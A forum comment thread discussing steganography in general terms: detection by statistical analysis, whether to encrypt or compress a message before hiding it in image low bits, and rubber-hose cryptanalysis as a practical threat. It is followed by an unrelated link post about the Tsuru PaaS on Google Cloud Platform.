The point of stego is that the message is not suspected. Usually this is done via statistical analysis(1). However, this just tells the adversary that "a message could be there". Given that information, they still need to find out which bytes are information-carrying, and that those bytes encode to a BF program. Stego is all about the extra hurdles, it is literal security-through- obscurity. But once they got that, yeah, the message will be exposed.

(1) Which is why encrypting the message before stego is not a straightforward good idea, as encrypted data looks like white noise, and contrary to popular belief, the lowest bits in most photos are not distributed like white noise (as a naive stego algorithm would just hide an encrypted message in the image's least significant bits).

<comment><USER6> _this just tells the adversary that "a message could be there". Given that information, they still need to find out which bytes are information-carrying_

This is true as far as it goes. It should be noted, however, that in many threat models for steganography, this problem is solved through rubber-hose cryptanalysis. <http://en.wikipedia.org/wiki/Rubber-hose_cryptanalysis>

<comment><USER3> Good point, as soon as they know "a message could be there", they got motivation to hit extra hard with that rubber-hose until something comes out.

Slightly less awful than torture, you also lose plausible deniability in a legal setting, or even other situations.

I agree the most important thing about stego is that the existence of the message is not discovered _at all_.

Sounds like that means encryption before stego is pretty much useless, then? Still something in my head says "better safe than sorry", even though you're not mitigating all that much risk.

A better idea might be to compress the message before stego. That way you need to hide less bits, even though the bits will be distributed like white noise, which can be harder to hide, but could perhaps also be something that can be relied on in some sense.</comment></comment></comment></comment>


Tsuru PaaS on Google Cloud Platform - <AUTHOR> https://blog.tsuru.io/tsuru-paas-on-google-cloud-platform-21640abb4386 <comment><USER2> The easier PaaS for production even easier! =)</comment>